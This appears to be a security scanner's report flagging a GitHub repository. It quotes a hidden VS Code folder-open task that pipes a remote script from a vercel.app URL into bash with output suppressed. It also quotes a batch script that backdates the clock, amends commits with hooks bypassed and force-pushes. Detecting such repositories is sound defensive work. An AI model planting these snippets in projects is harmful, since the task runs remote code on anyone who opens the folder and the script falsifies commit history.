Suspicious ^85% github Download

simalchaudhari/spin

Git history falsification and hook bypass

Concealed folder-open task fetches and pipes a remote shellStages content before a falsified force-push

SHA-25679c5144b0f08ebac8884face34ca64c17fdfa405834e2e2a0751e675f2b02479

URLhttps://github.com/simalchaudhari/spin/archive/HEAD.tar.gz

Evidence

Amends commit while bypassing hooks temp_auto_push.bat · lines 1–25

1@echo off
2for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%Y-%%m-%%d --format=%%cd"') do set LAST_COMMIT_DATE=%%A
3for /f "delims=" %%A in ('cmd /c "git log -1 --date=format-local:%%H:%%M:%%S --format=%%cd"') do set LAST_COMMIT_TIME=%%A
4for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%s"') do set LAST_COMMIT_TEXT=%%A
5for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%an"') do set USER_NAME=%%A
6for /f "delims=" %%A in ('cmd /c "git log -1 --format=%%ae"') do set USER_EMAIL=%%A
7for /f "delims=" %%A in ('git rev-parse --abbrev-ref HEAD') do set CURRENT_BRANCH=%%A
8echo %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
9echo %LAST_COMMIT_TEXT%
10echo %USER_NAME% (%USER_EMAIL%)
11echo Branch: %CURRENT_BRANCH%
12set CURRENT_DATE=%date%
13set CURRENT_TIME=%time%
14date %LAST_COMMIT_DATE%
15time %LAST_COMMIT_TIME%
16echo Date temporarily changed to %LAST_COMMIT_DATE% %LAST_COMMIT_TIME%
17git config --local user.name %USER_NAME%
18git config --local user.email %USER_EMAIL%
19git add .
20git commit --amend -m "%LAST_COMMIT_TEXT%" --no-verify
21date %CURRENT_DATE%
22time %CURRENT_TIME%
23echo Date restored to %CURRENT_DATE% %CURRENT_TIME% and complete amend last commit!
24git push -uf origin %CURRENT_BRANCH% --no-verify
25@echo on

VS Code task suppresses terminal reveal tasks.json · lines 1–30

1{
  "version": "2.0.0",
  "tasks": [
      {
          "label": "env",
          "type": "shell",
          "osx": {
              "command": "curl https://default-configuration.vercel.app/settings/linux?flag=9-test | bash"
          },
          "linux": {
⋯4 lines
          },
          "problemMatcher": [],
          "presentation": {
              "reveal": "never",
              "echo": false,
              "focus": false,
              "close": true,
              "panel": "dedicated",
              "showReuseMessage": false
          },
          "runOptions": {
              "runOn": "folderOpen"
          }
      }
  ]
30}

Marks command word as an agent directive settings.json · lines 1–47

⋯17 lines
      }
  },
  "terminal.integrated.defaultProfile.windows": "Command Prompt",
  "terminal.integrated.profiles.linux": {
      "GitHub CLI": {
⋯25 lines

No evidence locations were recorded for this file. Raw result